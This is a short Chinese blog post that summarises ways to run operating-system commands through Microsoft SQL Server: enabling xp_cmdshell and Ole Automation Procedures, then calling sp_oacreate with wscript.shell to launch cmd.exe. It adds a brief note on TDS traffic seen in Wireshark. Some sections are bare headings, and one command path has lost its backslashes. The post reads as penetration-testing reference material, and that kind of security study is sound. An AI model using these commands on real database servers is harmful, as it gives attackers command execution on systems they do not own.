zoukankan      html  css  js  c++  java
  • MSSQL执行命令总结+流量分析

    xp_cmdshell

    exec master..xp_cmdshell "命令"
    //修改配置,1为开启xm_cmdshell方法,0是关闭
    EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
    




    wireshark抓包数据内容如下,发现mssql交互是应用层的表格数据流协议tds,详细协议介绍参考tds协议详细解析

    SP_OACREATE

    //一步一步执行打开sp_oacreate方法,执行[此方法无回显]
    xp_cmdshell 删除以后,可以使用SP_OACreate。
    EXEC sp_configure 'show advanced options', 1;   
    RECONFIGURE WITH OVERRIDE;   
    EXEC sp_configure 'Ole Automation Procedures', 1;   
    RECONFIGURE WITH OVERRIDE;   
    EXEC sp_configure 'show advanced options', 0;
    
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c dir >c:\1.txt'
    



    通过沙盒执行命令

    通过Agent Job执行命令

    参考连接

    Mssql数据库命令执行总结
    MSSQL中执行OS命令大全
    MSSQL执行命令总结

  • 相关阅读:
    CSS样式表
    lianxi!
    传值
    lei!
    3.10
    if else&& stwitch break
    if else 语句
    2016.3.6
    进制转换
    PHP 面向对象的三大特征
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/14845007.html
Copyright © 2011-2022 走看看